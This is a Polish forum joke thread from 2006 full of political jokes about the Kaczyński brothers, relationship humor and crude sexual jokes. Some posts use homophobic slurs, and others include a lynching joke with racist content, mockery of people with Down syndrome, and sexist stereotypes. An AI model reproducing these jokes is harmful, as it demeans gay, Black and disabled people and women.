b) ...
- B.

*************

Żona do męża :
- Zobaczysz, przyczepię kartkę nad naszym łóżkiem,
że jesteś idiota. Niech całe miasto się dowie

**************

Szczyt perswazji: Wmówić kobiecie,
że miękki jest lepszy bo nie uwiera.

tsharny - 29-03-2006, 12:50

Do szkoły podstawowej przychodzi prezydent Kaczyński. Pozwala dzieciom na zadawanie pytań. Zgłasza się mały Michaś.
- Ja mam trzy pytania. Po pierwsze: jak się pan czuje po wygraniu wyborów, które pan sfingował? Po drugie: czy nie uważa pan, że zakazanie Parady Równości było zamachem na polską demokrację? Po trzecie: czy to prawda, że chce pan przejąć całą władzę w Polsce?
Pan prezydent zaczął się namyślać, gdy wtem zadzwonił dzwonek.
Po przerwie dzieci wróciły do klasy, usiadły, Piotruś podniósł rękę.
- Ja mam pięć pytań do pana prezydenta. Po pierwsze: jak się pan czuje po wygraniu wyborów, które pan sfingował? Po drugie: czy nie uważa pan, że zakazanie Parady Równości było zamachem na polską demokrację? Po trzecie: czy to prawda, że chce pan przejąć całą władzę w Polsce? Po czwarte: dlaczego dzwonek na przerwę zadzwonił dwadzieścia minut wcześniej? I po piąte: co się stało z małym Michasiem?

KrzyHo - 29-03-2006, 15:38

- Dlaczego Jarosław Kaczyski jest kawalerem?
- Bo mu brat najładniejszą dziewczynę poderwał.

Łukasz - 29-03-2006, 16:58

Efraim Ryba napisał/a:
Jedyny pozytyw płynący z "działania" tego rządu i tego prezydenta to zmartwychwstanie dowcipu politycznego.


Wyraźnie spadła przestępczość w Warszawie jeżeli chodzi o rozboje i kradzieże. Wzrosła natomiast ilość bujek. Od kilku miesięcy wkońcu ktoś śledzi wszystkie kamery w Warszawie i rejestruje się bujki które przez nie widać. Normalnie nikt nie zgłaszam, że o 2 w nocy z kims się bił przed klubem.
Pozdrawiam

The_PiotREX - 29-03-2006, 23:17

http://66.33.219.56/001/ :mrgreen: :mrgreen:
tsharny - 30-03-2006, 15:32

Dawno temu Lech i Jarosław pokłócili się o Marię. Postanowili ciągnąć zapałki. Lech przegrał.
wiorr - 02-04-2006, 17:47

Wzięte z autentyków na joemonster
"NA WAKACJACH

Egipt. Basen hotelowy. Wakacje 2005. Obok mnie pod sąsiednim parasolem 2 facetów w koszulach z długim rękawem, okulary, czapki bejsbolówki. Obok nich, na słońcu 2 niezłe laski opalają się na leżakach. Nagle dzwoni telefon jednego z faciów. Słyszę fragmenty rozmowy:
- Jak to gdzie jestem? Razem ze Stefanem na Mazurach, fundamenty kopiemy."

tsharny - 03-04-2006, 12:23

Facet złowił złotą rybkę. Oczywiście miał życzenie, itp. W końcu rybka mówi:
- Ok, twoje życzenie spełni się.
- Kiedy? - pyta facet.
- W nocy, gdy zaśniesz, wszystko się spełni.
Kiedy już spał, obudziło go stukanie do drzwi. Otwiera drzwi i widzi płonący krzyż na placu przed domem i sześć zakapturzonych, ubranych na biało osób. Przywódca grupy podszedł do niego, z liną w ręku i pyta:
- To ty chciałeś bujać się jak czarni?!

[ Dodano: 04-04-2006, 11:12 ]
Przychodzi wielki jak tur, napakowany, cały w dziarach, kierowca
polskiego TIR'a do domu publicznego. Burdel-mama prawie zemdlała jak go
zobaczyła. Długo się zastanawiała czy dać mu jakąś swoją dziewczynę.
Ale myśli sobie:
- pieniądz to pieniądz, osobiście go przyjmę.
Na wszelki wypadek wzięła jednak dwa pudełka wazeliny. Polski kierowca
TIR'a
zaczyna się rozbierać. Zdejmuje t-shirt'a a tam muskuły jak u
Pudzianowskiego, tors jak u Schwarzenegera. Burdel-mamę ogarnął strach jak
go da radę obsłużyć. Otwiera więc pudełko wazeliny iw pośpiechu smaruje się

miedzy nogami. Kierowca TIR'a ściąga następniespodnie - trach! A tam uda
jak
filary mostu. Burdel-mama już w totalnym szoku, więc dawaj dalej smarować
się wazeliną między nogami.
Kierowca zdejmuje slipy, a tam trach - pała jak u słonia! Burdel mama
prawie
zemdlała i w przypływie rozpaczy otworzyła i zużyła w całości drugie
pudełko
wazeliny.
Na to kierowca TIR'a wyciąga długi łańcuch i owija nim swoją pałę mówiąc:
- co jak co, ale w taką ślizgawicę bez łańcuchów nie pojadę

----------------------------------------------------------------------------------------------------

Jedzie kierowca ciężarówki i widzi zielonego ludzika. Pyta się ludzika: - czemu stoisz na ulicy?
- jestem bardzo głodny i jestem pedałem.
Dał mu kanapkę i pojechał dalej. Spotyka czerwonego ludzika. Pyta się ludzika:
- czemu stoisz na ulicy? - chce mi się pić i jestem pedałem
Dał mu picie i pojechał dalej.
Widzi niebieskiego ludzika. Wkurzony wysiada i pyta:
- a ty pedale czego chcesz?
- prawo jazdy i dowód rejestracyjny

Efraim Ryba - 04-04-2006, 12:50

Przyjaźń między kobietami:
Pewnego dnia kobieta nie wróciła na noc do domu. Następnego dnia
powiedziała mężowi, że spała u przyjaciółki . Mąż zadzwonił do 10
jej najlepszych przyjaciółek ....żadna nie potwierdziła....

Przyjaźń między mężczyznami:
Pewnego dnia mąż nie wrócił do domu na noc. Następnego dnia
powiedział żonie, że spał u kolegi. Żona zadzwoniła do 10 jego najlepszych
przyjaciół.
8 potwierdziło, że spał, a 2 - że jeszcze jest...

Bogen - 04-04-2006, 22:40

>>Dzisiaj rano jechałem jak zwykle do pracy Trasa Łazienkowską.
>> Przede mną, lewym pasem nowiusieńkim BMW jechała blondynka...
>> Przy prędkości 130 km/h ....
>> siedziała z twarzą tuz przy lusterku i... malowała sobie rzęsy.
>> Ledwie na moment odwróciłem głowę, a kiedy spojrzałem znowu na BMW
>> oczywiście okazało się, ze blondynka (wciąż zajęta makijażem!)
>> już jest polowa auta na moim pasie!
>> I chociaż jestem naprawdę twardym facetem, to tak się
>> przestraszyłem, ze i golarka i kanapka wypadły mi z rak.
>> Kiedy próbowałem kolanami opanować kierownice tak, aby wrócić na
>> swój pas ruchu komórka wyleciała Mi akurat prosto do kubka z gorąca
>> kawa, który trzymałem miedzy nogami.
>> Kawa naturalnie się wylała, poparzyła moja męskość, zrujnowała mój
>> telefon i przerwała bardzo ważną rozmowę!
>> Jak ja k...wa nienawidzę kobiet za kierownica...

Tomek Radomski - 05-04-2006, 08:12

:lol: dobre, a jakie życiowe
Marcin_alien - 05-04-2006, 10:49

Jak sie nazywa policjant we mgle?
- Dog In the Fog :-D
---------------------------------------------------
Z kim sie spotkaja nasi pilkarze w II rundzie mundialu?
- z kibicami na Okeciu :-D

:alien:

wrobel.cwirek - 05-04-2006, 16:17

Cos dla informatykow/programistow:
http://www.kuro5hin.org/story/2006/3/14/175929/544

Swiateczna (Wielkanocna) kartka multimedialana :
http://s146072992.onlinehome.us/100lat/swf/224.swf

The_PiotREX - 05-04-2006, 18:01

To pierwsze jest świetne :D Drugie tez niczego sobie
leszeksz - 06-04-2006, 12:03

Jak nazywa się nasza obecnie rządząca koalicja?
-PISIOR-czyki Prawo i Sprawiedzliwiść i Ojciec Rydzyk.


Rząd obniżył VAT na kosmetyki...
zrobił to ze względu na pierwszą damę.


Kaczyński odwiedza szkołę specjalną dla dzieci z zespołem downa.Wchodzi do klasy,a pani pyta się dzieci:
-No kochani,kto to jest?
-??????
-no,przyjżyjcie się dobrze ,kto to jest?
-NOWY!!!!!


Uroczysta kolacja w pałacu królowej.W pewnym momencie ktoś wznosi toast za zdrowie królowej,.Wszyscy wstają,tylko Kaczyński nie.Ktoś go szturcha szepcząc:
-Panie Lechu trzeba wstać,gdy jest toast za królową"
Na co Kaczyński
-przecież od pół godziny stoję!!

Prezydent Kaczyński odwiedza wzorowe gospodarstwo rolne. Gdy znalazł się w chlewni, pośród stada dorodnych swiń, towarzyszący grupie oficjeli fotoreporterzy natychmiast strzelają fotki. Na to Kaczyński:
-Żeby mi tam nie było jakiegoś głupiego podpisu pod zdjęcięm! Typu Kaczka i świnie" czy coś takiego...
-Ależ skąd panie Prezydencie! - odpowiadają reporterzy. Wszystko będzie cacy.
Nazajutrz ukazuje się gazeta ze zdjęciem Kaczyńskiego wśród świń, podpis: "Lech Kaczyński (trzeci od lewej)".

qdlaty - 07-04-2006, 12:20

Malzenstwo z dwudziestoletnim stazem: zona krzata sie w
kuchni, maz cos
naprawia. W pewnej chwili maz wola:

- Stara! Chodz na chwile!
- Co?
- Potrzymaj ten drucik.

Zona poslusznie chwyta kabelek, po czym pyta:

- I co?
- Nic, widocznie faza jest w tym drugim...

Marcin_alien - 07-04-2006, 13:35

Zabawne jak mało ważna jest twoja praca, gdy prosisz o podwyżkę, a jak
niesamowicie niezbędna dla ludzkości gdy prosisz o urlop.
-------------------------------------------------

Dobry sąsiad zawsze pożyczy, a sąsiadka da...
---------------------------------------------------

- Kochanie, co wolisz - banany czy truskawki?
- Na bazarze jesteś, skarbie?
- Nie, w aptece.
----------------------------------------------------

Człowiek nabiera doświadczenia z wiekiem. Szkoda, że jest to wieko od
trumny.
--------------------------------------------------------

Superoptymista - gość, który na cmentarzu zamiast krzyży widzi plusy.
--------------------------------------------------------

Jeżeli podczas sexu mąż zwraca się do ciebie innym imieniem, odpowiedz,
nie pożałujesz!
--------------------------------------------------------

W związku z epidemią ptasiej grypy, ZUS informuje, iż Narodowy Fundusz
Zdrowia nie posiada środków na leczenie. Wobec powyższego prosimy nie brać
ptaszka do buzi.
---------------------------------------------------------

Jako dziecko mężczyzna kupuje sobie małego loda za 2 zł., a kiedy jest
dorosły, musi szykować co najmniej 50 zł.
-------------------------------------------------------------

- Wiesz, wprowadzają nam nowy plan pracy w firmie.
- Tak? Jaki?
- Darmowe wieczory i weekendy - już od 18...
----------------------------------------------------------------

Świeżo osadzony więzień drze się zza krat:
- Jestem niewinny! Niewinny!
Na to z sąsiedniej celi:
- No, to już niedługo, kwiatuszku - jutro bierzemy prysznic...
------------------------------------------------------------------

Ona: Na pierwszej randce nie daję!
On: No to może chociaż weź?
--------------------------------------------------------------------

- Jak uprawiać seks, żeby nie było dzieci?

- Wysłać je do dziadków

:alien:

Tomek Radomski - 08-04-2006, 13:23

Podczas kolędy ksiądz wręczył małemu chłopczykowi obrazek z wizerunkiem świętego. Mały obejrzał obrazek i pyta:
- Masz więcej?
Ksiądz dał mu jeszcze cztery. Mały pooglądał wszystkie i pyta:
- A z dinozaurami masz?

------------------------------------------------

Idzie Zły Chłopiec po lesie. Spotyka Dobrą Wróżkę. Postanowiła zmienić trochę charakter Złego Chłopca. Cóż, niech ma...
- Spełnię twoje dwa życzenia, Chłopcze.
- OK. Widzisz to drzewo?
- No.
- To wbij w niego gwoździa. Ale tak, żeby nikt na świecie nie mógł go wyjąć.
- Mówisz-masz. A drugie życzenie?
- Teraz wyjmij tego gwoździa.

tsharny - 12-04-2006, 10:10

Żona programisty:
- Ciągle jesteś zajęty i siedzisz przy komputerze. Żebym choć miała dziecko...
- Kładź się, będziemy instalować...


Dziadkowi zachciało sie amorów i mówi do babki:
- Chodź babka do łóżka pokochamy się.
Babka na to że nie ma ochoty.
Dziadek zaczął głowić się jak tu babkę zaciągnąć do łóżka i wymyślił:
- Chodź babka do łóżka to dam ci stówę
Babka myśli stówa piechotą nie chodzi, zgodziła się, poszła do łóżka, pokochali się, dziadek dał stówę.
Wtenczas babka zapala światło i mówi:
- Te dziadek ale to jest stara stówa jeszcze z Waryńskim.
A dziadek na to:
- Stara dupa - stara stówa!

de Zoo - 13-04-2006, 00:25

Najnowocześniejszy Bank świata, super sejf.
Właściciele postanowili przetestować zabezpieczenia.
W tym celu zaprosili najbardziej znanych złodziei świata z Francji,
Stanów, Niemiec i dwóch Polaków znanych z tego, że ukradli księżyc.
Dla każdej ekipy postanowili zgasić światło przed sejfem na pół
minuty i jeśli po zapaleniu światła sejf bedzie otwarty, ekipa
może zabrać zawartość.
Pierwsi próbują Francuzi, światło sie zapala-nie udało sie.
Drudzy Amerykanie, swiatlo sie zapala-nawet sprzętu nie
zdążyli wyjac,trzeci Niemcy, światło sie zapala- nic...
Kolej na Polaków, swiatlo gaśnie, mija pół minuty, próbują
zapalić światło-nic, próbują po raz kolejny - nic...
Z mroku słychać tylko cichy szept:
Ku**a ... Jarek, mamy tyle kasy na ch*j ci jeszcze ta żarówka...???

tsharny - 13-04-2006, 08:47

Jasio wyslal list do swoich dziadków. Dziadek czyta list babci na glos:
"Kochani dziadkowie, wczorej poszedlem pierwszy raz do szkoly i mialem
godzine wychowawcza. Wychowawczyni powiedziala, ze musimy zawsze mówic
prawde wiec sie Wam do czegos przyznam. W te wakacje jak bylem u was to
zszedlem do piwnicy nasralem do sloja z kompotem i odstawilem z powrotem
na pólke. Jasio"
Dziadek skonczyl czytac, jebnal babke w ryj i mówi:
- A mówilem ci "Gówno"! Ale ty "zcukrzylo sie, zcukrzylo sie"!

Marcin_alien - 13-04-2006, 11:18

Złotówka...

Pani dała w szkole dzieciom po złotówce, by ją jakoś owocnie zainwestowali.
Na drugi dzień przepytuje dzieci. Asia mówi:
"Kupiłam słodką bułeczkę, zjadłam ją a drobinki dałam kurce, by nam znosiła jajka."
"Bardzo ładnie" - powiedziała pani.
Zgłosił się Pawełek:
"A ja kupiłem brzoskwinię, zjadłem ją a pestkę zasadziłem, by z niej wyrosło drzewko."
Pani była zachwycona: "Świetnie!"
Ostatni się zgłosił Jaś: "Ja kupiłem kaszankę."
Pani się zaciekawiła: "A jak zaowocowała twoja inwestycja?"
"Najpierw się nią seksualnie zaspokoiła moja siostra, potem ją zjedliśmy i patyczkami podłubaliśmy w zębach. Wieczorem tata użył flaka jako prezerwatywę, rano do niego wszyscy nasraliśmy i mama poszła kaszankę oddać do sklepu jako zepsutą.
I tu jest ta złotówka.

:alien:

tsharny - 13-04-2006, 11:39

alien, uważaj bo coniektórych lekkość twojego dowcipu może porażać (są tu takie elementy) :mrgreen:
Marcin_alien - 13-04-2006, 11:48

tsharny napisał/a:
alien, uważaj bo coniektórych lekkość twojego dowcipu może porażać (są tu takie elementy)

Zawsze moga wyciac ;)
Zreszta ... przygadal kociol garnkowi - Twoje kawaly (zwlaszcza ten o kierowcy TIR-a) sa bardzo popularne w moim miejscu pracy :20:

:alien:

tsharny - 13-04-2006, 11:52

no fakt, zawsze mogą dać ignora :-D
ja tam nie mam nic do tego, mnie się podoba, ot taki wesoły ze mnie człowieczek :lol: tylko jak napisałem może się do ciebie przypiąć jakiś element tak jak do mnie :mrgreen:

Marcin_alien - 13-04-2006, 11:55

tsharny napisał/a:
ja tam nie mam nic do tego, mnie się podoba, ot taki wesoły ze mnie człowieczek

No wlasnie ... czekam (koledzy i kolezanki w pracy tez) na kolejne Twoje dowcipy :20:

:alien:

tsharny - 13-04-2006, 11:59

to nie są moje dowcipy, ja dostaję to wszystko na maila od znajomych i po wstępnej selekcji (coby kogoś za bardzo nie porazić :mrgreen: ) wrzucam na forum :22: (pikczurów i mówiesów nie wrzucam z wiadomych przyczyn, ale jak chcesz to podaj maila na pw to będę ci posyłał)
Tomek Radomski - 13-04-2006, 14:29

Do Warszawy przyjechał japoński dziennikarz.
Po tygodniu faksuje do redakcji:
"Ta Polska, to cywilizowany kraj. Mieszka tu dużo ludzi różnych narodowości.
Są nawet Indianie, którzy biją się kijami bejsbolowymi z łysymi buddyjskimi mnichami w młodzieżowych strojach."

Norbi77 - 13-04-2006, 17:24

Prawdziwa rozmowa nagrana na czestotliwosci morskiej alarmowej canal 106
pomiędzy Hiszpanami a Amerykanami w październiku, 16 X 1997 roku



Hiszpanie:

(w tle słychać trzaski)...

Tu mówi A-853, prosimy zmieńcie kurs o 15 stopni aby uniknąć kolizji,
idziecie wprost na nas, odległość 25 mil morskich.


Amerykanie:

(trzaski w tle)...

Sugerujemy wam zmianę kursu o 15 stopni na północ, aby uniknąć kolizji



Hiszpanie:

Negatywnie...Powtarzamy : zmieńcie swój kurs o 15 stopni na południe,
aby uniknąć zderzenia....



Amerykanie

(słychać inny glos)

Tu mówi kapitan jednostki morskiej Stanów Zjednoczonych Ameryki, w
dalszym ciągu sugerujemy, zmieńcie swój kurs o 15 stopni na północ, aby
uniknąć kolizji.



Hiszpanie:

Nie możemy podjąć takiej decyzji, gdyż nie uważamy jej za słuszną, ani
możliwą w tym momencie!!! Zmieńcie swój kurs o 15 stopni na południe
inaczej dojdzie do kolizji...!!!!



Amerykanie:

TU MÓWI KAPITAN RICHARD JAMES, KTÓRY DOWODZI LOTNISKOWCEM USS LINCOLN,
MARYNARKI WOJENNEJ STANÓW ZJEDNOCZONYCH...!!!! DRUGIEGO CO DO WIELKOŚCI
OKRĘTU FLOTY AMERYKAŃSKIEJ, JEDNOCZEŚNIE INFORMUJE, ŻE JESTEŚMY
ESKORTOWANI PRZEZ 4 OKRĘTY PODWODNE, 6 NISZCZYCIELI I 2 KRĄŻOWNIKI,
UDAJEMY SIĘ W KIERUNKU ZATOKI PERSKIEJ W CELU PRZEPROWADZENIA MANEWRÓW.!
NIE SUGERUJĘ, JA ŻĄDAM, ABYŚCIE ZMIENILI KURS O 15 STOPNI!!!! W
PRZECIWNYM RAZIE BĘDZIEMY MUSIELI PODJĄĆ DZIAŁANIA KONIECZNE ABY
ZAGWARANTOWAĆ BEZPIECZEŃSTWO TAK OKRĘTU, JAK ZJEDNOCZONEJ SIŁY TEJ
KOALICJI. WY NALEŻYCIE DO PAŃSTWA SPRZYMIERZONEGO, JESTEŚCIE CZŁONKIEM
NATO I TEJ KOALICJI...ŻĄDAM STANOWCZO PODPORZĄDKOWANIA I ZMIANY
KURSU...!!!!



Hiszpanie:

TU MÓWI JUAN MANUEL SALAS ALCANTARA, JESTEŚMY WE DWÓCH, ESKORTUJE NAS
NASZ PIES, MAMY ZE SOBĄ NASZE JEDZENIE, DWA PIWA I KANARKA, KTÓRY TERAZ
ŚPI...MAMY ZA SOBĄ POPARCIE RADIA LA CORUNA I KANAŁU 106 - ALARMÓW
MORSKICH...NIE UDAJEMY SIĘ W ŻADNE MIEJSCE I MÓWIMY DO WAS Z LĄDU
STAŁEGO, Z LATARNI MORSKIEJ A-853, Z WYBRZEŻA GALICJI. NIE MAMY ŻADNEJ
GÓWNIANEJ INFORMACJI, KTÓRE MIEJSCE ZAJMUJEMY W RANKINGU WŚRÓD
HISZPAŃSKICH LATARNI MORSKICH...MOŻECIE PRZEDSIĘWZIĄĆ ŚRODKI NA JAKIE
TYLKO WAM PRZYJDZIE OCHOTA, ABY ZAPEWNIĆ BEZPIECZEŃSTWO WASZEGO
ZASRANEGO OKRĘTU, KTÓRY ZA CHWILĘ ROZBIJE SIĘ O SKAŁY, DLATEGO RAZ
JESZCZE SUGERUJEMY ZMIANĘ KURSU O 15 STOPNI NA POŁUDNIE,
ABY UNIKNĄĆ KOLIZJI, OK. ??????

Tomek Radomski - 13-04-2006, 22:48

Po parkingu obok baru łazi pijany w sztok facet.
Chodzi od samochodu do samochodu i obmacuje ich dachy.
Ochroniarz chce się dowiedzieć, co jest grane.
- Co pan robi?
- Szukam swojego samochodu.
- A dlaczego głaszcze pan dachy wszystkich wozów?
Zaskoczony mężczyzna odpowiada z trudem:
- Bo mój miał na dachu takie duże czerwono-niebieskie światła.

tsharny - 14-04-2006, 08:57

jaki jest ulubiony kompozytor o. Rydzyka?
Jan Sebastian Maybach

[ Dodano: 14-04-2006, 09:38 ]
Wykopaliska w Izraelu, uczeni w pewnej jaskini znaleźli blok z wyrytymi symbolami. Z wielkim trudem blok wydobyli z jaskini i przewieźli do Uniwersytetu, ustawili go na podium i publicznie debatowali nad tajemniczymi symbolami.
Profesor Goldbaum zaczął:
- Jako pierwszy od lewej widzimy symbol płonącego krzewu, wnioskuje z tego ze znaki te wyrył ktoś z rodu Mojżesza...
W tym momencie podnosi rękę jeden ze studentów pierwszego roku, siedzący w pierwszym rzędzie:
- Czy mogę zabrać glos?
- Cisza, cisza, teraz profesorowie analizują te symbole!
Profesor Szwarcmund:
- Drugi rysunek od lewej przedstawia dwie młode niewiasty, moim zdaniem znaczy to ze starożytne ludy miały kobiety w wielkiej estymie...
Znów student z pierwszego rzędu: -Ale ja bym...
-Cisza, cisza!
Profesor Apfelbrot:
- Trzeci symbol od lewej oznacza bez wątpienia Świątynie Salomona w Jerozolimie, a czwarty zaraz obok przedstawia wóz drabiniasty, co moim zdaniem oznacza ze starożytni ludzie nie tylko znali, koło, ale także podróżowali w celach religijnych...
Student z pierwszego rzędu:
-Ja bym tylko chciał...
-Cisza, cisza!!
Profesor Burgenmeyer:
- Piąty symbol przedstawia rybę, a szósty mężczyznę oddającego mocz na ziemie. Moim zdaniem oznacza to ze starożytni korzystali z darów morza, a także uprawiali i nawozili w sposób naturalny ziemie...
Student:
- Może ja powiem...
- Cisza, cisza!!!
Profesor Goldbaum:
- Ostatni znak widzimy wyraźnie jest Gwiazda Dawida, co oznacza z pewnością ze starożytni na tych terenach byli pochodzenia hebrajskiego...
Student wstaje i krzyczy:
- Dajcie mi cos w końcu powiedzieć! Po pierwsze po hebrajsku czyta się od prawej do lewej, a po drugie to znaczy: Dawid, olej te ryby, wskakuj w brykę i przyjeżdżaj do Jerozolimy, tu dziwki aż się palą!

[ Dodano: 18-04-2006, 14:49 ]
kłóci się dwóch metali - tzw. gothów
- what kind of goth are you anyway?
- faggot

I - 18-04-2006, 16:44

tsharny napisał/a:
alien, uważaj bo coniektórych lekkość twojego dowcipu może porażać (są tu takie elementy) :mrgreen:


tsharny napisał/a:
to nie są moje dowcipy, ja dostaję to wszystko na maila od znajomych i po wstępnej selekcji (coby kogoś za bardzo nie porazić :mrgreen: ) ...


Z tego, ze usilujesz "przycinac", wnioskuje, ze nie do konca zrozumiales, co mialem na mysli.

Wiec sprobuje ci bardziej szczegolowo przedstawic moj punkt widzenia.
Mialem troche czasu w swieta, specjalnie dla ciebie poszperalem w notatkach i cos znalazlem.

Kiedys pracowalismy dla pewnej firmy farmaceutycznej, przy okazji rozpatrywalismy dywesyfikacje grup docelowych srodkow antykoncepcyjnych.

Miedzy innymi wpadlo nam to, zwroc uwage na szate graficzna i pomysl do jakiego wieku jest ona kierowana:
http://www.wpadka.pl/inde...enia_free&all=1
http://www.wpadka.pl/inde...e&id_konkursu=1
http://www.wpadka.pl/inde...e&id_konkursu=2 (szczegolnie polecam twojej uwadze 2 i 11)
(Mysle, ze opowiadanie, ktorym sie zafascynowales, pochodzi z prac odrzuconych lub jest tylko "echem" tego konkursu)

W owym czasie, z tego co pamietam, bylo sporo wiecej "opowiadanek" (wiele jeszcze bardziej podobnych do twojego). Na wiekszej probce bylo widac, jak wiele z nich bylo pisane przez chlopaczkow we (wczesnym) wieku dojrzewania, kiedy jeszcze nie do konca interesuja sie plcia przeciwna, ale za to w towarzystwie wypada blysnac, szeroka "wiedza" o "aspektach mechanicznych". No i szczytem odwagi jest glosne powiedzenie "sperma", czy "seks analny" w towarzystwie.

Moim zdaniem, glowna funkcja spoleczna owych "dowcipow", to samopomoc dziecieca w poznawaniu pojec i slow z jezyka doroslych. Z tego powodu znakomita wiekszosc z nich wydaje mi sie niezbyt strawna "poza srodowiskiem".

Mniej wiecej to mialem na mysli piszac, ze mnie troche "porazilo" twoje identyfikowanie sie z pseudoobrazoburczymi wypocinami nastolatkow.

P. (wyjatkowo pokojowo nastawiony po swietach :mrgreen: )
I

tsharny - 19-04-2006, 10:19

Nie programuj w święta - bug się rodzi :mrgreen:
IRA - 19-04-2006, 10:27

Zapis fragmentu autentycznej rozmowy telefonicznej klienta z Informacja Zarzadu Transportu Miejskiego w Warszawie w przeddzien Dnia Wszystkich Swietych:
- Slucham informacja ZTM
- Dzien dobry. Przepraszam, gdzie w Warszawie moge kupic bilety godzinne?
- Jakie bilety?
- Godzinne, wazne przez godzine..
- Nie mamy takich biletów!
- Jak to?..
- No nie ma takich biletów!
- Ale.. no.. przeciez.. na wszystkich Waszych ofertach, w autobusach, w gazetach...
- Gdzie? Pierwszy raz slysze! Nie ma takich biletów.
- Aha!.. - tu przyszlo natchnienie
- A moze mi Pani powiedziec gdzie moge kupic bilety szescdziesiecio minutowe?
- Tak! Szescdziesiecio minutowe moze pan kupic na Senatorskiej, w niektórych kioskach i na pocztach.
- Aaaa! To wspaniale!
- Przepraszam pania, ale jaka jest róznica miedzy biletem waznym 60 minut,a waznym jedna godzine?
- No szescdziesiecio minutowy wazny jest przez 60 minut od skasowania, a jednogodzinny to nie wiem bo u nas takich nie ma!

[ Dodano: 20-04-2006, 09:06 ]
Jak się nazywa mężczyzna, którego utrzymują młode kobiety?
-Zazwyczaj alfons.
A taki, którego utrzymują starsze kobiety?
-Ojciec Rydzyk.

Efraim Ryba - 20-04-2006, 10:28

Egzamin wstepny na studia:
- Prosze powiedziec, dlaczego obraca sie silnik elektryczny? - pyta egzaminator.
- Bo jest elektrycznosc.
- I to ma byc odpowiedz? Dlaczego w takim razie zelazko sie nie obraca? Tez jest elektryczne!
- A bo ono nie jest okragle.
- No a kuchenka elektryczna - okragla przeciez, czemu sie nie obraca?
- To z powodu tarcia - nozki przeszkadzaja.
- No dobrze, a zarowka? Okragla! Gladka! Bez nozek! Czemu zarowka sie nie obraca?
- Obraca sie, jak najbardziej!
- ???!!!
- Przeciez jak pan profesor ja chce wymienic, to co pan robi? Obraca ja pan!
- Hm, no tak, w samej rzeczy. Ale to przeciez ja ja obracam, nie ona sama!
- No widzi pan, bo samo z siebie nic sie nie obraca! Taki silnik elektryczny, na przyklad, potrzebuje do tego elektrycznosci.

Marcin_alien - 21-04-2006, 15:14

Jaki kraj ma najbardziej nowoczesnego premiera?
- Polska ... bo sterowanego Radiem :20:

:alien:

P.S
szkoda, ze to nie kawal tylko smutna rzeczywistosc :anger:

qdlaty - 21-04-2006, 16:24

Marcin_alien napisał/a:
Jaki kraj ma najbardziej nowoczesnego premiera?
- Polska ... bo sterowanego Radiem :20:


Noooo,
ale radio przez duże R :)

Chyba z ojcem dyketorem na ty jesteście :22:

Wielki_szef - 22-04-2006, 22:04

Ojciec Dyrektor też z dużej :razz:
qdlaty - 24-04-2006, 12:34

Wiesław mieszkał w spokojnej wsi Zdrożewo. Jako, ze był wielkim miłośnikiem
literatury codziennie kupował "Fakt" w miejscowym
spożywczo-przemysłowym i zawsze czytał pierwsza i ostatnia stronę....
Wiesław tez był miłośnikiem krzyżówek, wiec zawsze rozwiązywał tez
"panoramiczna" w tymże dzienniku. Przyfarcilo mu sie pewnego razu i
wygrał wycieczke (jednoosobowa) do Krynicy Morskiej. Pojechał wiec Wiesław
nad morze i wylegiwał sie godzinami na plaży. Jednego z tych leniwych
dni podeszła do niego pani, w nieco już zaawansowanym wieku, jednak
sposobem bycia i wyglądem utwierdzała Wiesława w przekonaniu, ze była z
miasta.
Rzekła ta pani do Wiesława:
- Może pan mnie dymnie?
- Ale mi już nie staje...
- Mam na to naprawdę przeuroczy sposób.
Zabrała wiec kobitka Wiesława do pensjonatu "Polonia", rozebrała go i
nasmarowała mu przyrodzenie śmietana. Zawołała psa:
- Pimpek!
Pimpek (francuski pudelek, notabene) przybiegł i tak długo zlizywał
śmietanę z przyrodzenia Wiesława, ze w końcu mu stanął!
Wydymał wiec Wiesław damę i sobie poszedł.

Po powrocie do Zdrożewa cala wieś chciała usłyszeć od Wiesława opowieści z
Krynicy Morskiej, ale ten od razu pobiegł do domu. Żonę swoja - Halinkę,
zastał w oborze przy oporządzaniu inwentarza.
- Halinka! Idziemy do łóżka!
- Ale Wiesiu, tobie przecież nie staje...
- Mam na to sposób, Halinka. Miastowy sposób! Idziemy!
Poszli wiec do sypialni. Wiesław po drodze zabrał ze sobą śmietanę, którą
nasmarował sobie członka i zawołał psa:
- Cygan!
Cygan podleciał, popatrzył, powąchał po czym JEB - odgryzł Wieslawowi
członka u samej nasady.
Wiesław tylko zamruczał pod nosem:
- No wiocha... Po prostu wiocha!

wrobel.cwirek - 24-04-2006, 12:55

qdlaty napisał/a:
- No wiocha... Po prostu wiocha!


dobry :-D

pomuchel - 26-04-2006, 09:48

Na terenie jednostki wojskowej spotkały się dwa owsiki
- Cześć gdzie teraz mieszkasz?
- W szeregowcu

Pisklak - 26-04-2006, 11:10

W Nowym Jorku otwarto nowy sklep, gdzie kobiety
mogą wybrać i kupić męża.
Przy wejsciu jest wywieszona instrukcja
korzystania ze sklepu:
- możesz wejść do sklepu tylko jeden raz,
- jest 6 pięter, a cechy charakterystyczne
mężczyzn zwiększają się z każdym piętrem,
- możesz wybrać jakiegolwiek mężczyznę na piętrze
lub iść piętro wyżej,
- jak wejdziesz wyżej nie możesz już się cofnać.
Pewna kobieta decyduje się wejść do sklepu żeby
znaleźć tego jedynego.
Na pierwszym pięrze wywieszka mówi: Ci mężyzni
mają pracę.
Kobieta decyduje się wejść wyżej.
Na drugim piętrze jest napis:
Ci mężczyźni mają pracę i kochają dzieci.
Kobieta znów postanawia wyjść wyżej.
Na trzecim piętrze jest napisane:
Ci mężczyźni mają pracę, kochają dzieci, i są
bardzo przystojni.
Wow, myśli kobieta, ale postanawia wejść wyżej.
Na czwartym piętrze wywieszka mówi:
Ci mężczyżni mają pracę, kochają dzieci, są
bardzo przystojni i pomagają w pracach domowych.
Niesamowite, pomyślala kobieta, z ciężkim sercem
odrzuca taką ofertę
i postanawia wejść na wyższe piętro.
Na piątym piętrze jest napis:
Ci mężczyźni mają pracę, kochają dzieci, są
bardzo przystojni, pomagają w
pracach domowych i są romantyczni
Kobietę kusi żeby zostać na tym piętrze, ale
decyduje się wejść na ostatnie piętro.
Szóste piętro:
Jesteś na tym piętrze odwiedząjaca numer 31 456 012,
tutaj nie ma mężczyzn,
to piętro istnieje tylko żeby pokazać że kobiecie
nigdy nie dogodzisz.
Dziekujemy za odwiedziny w naszym sklepie.
Na przeciwko tego sklepu zostal otwarty
Sklep "żon".
Na pierwszym piętrze są kobiety, które kochają sex.
Na drugim pietrze są kobiety, które kochają sex i
są bogate.
Piętra od trzeciego do szóstego NIGDY NIE BYŁY
ODWIEDZONE.

----------------

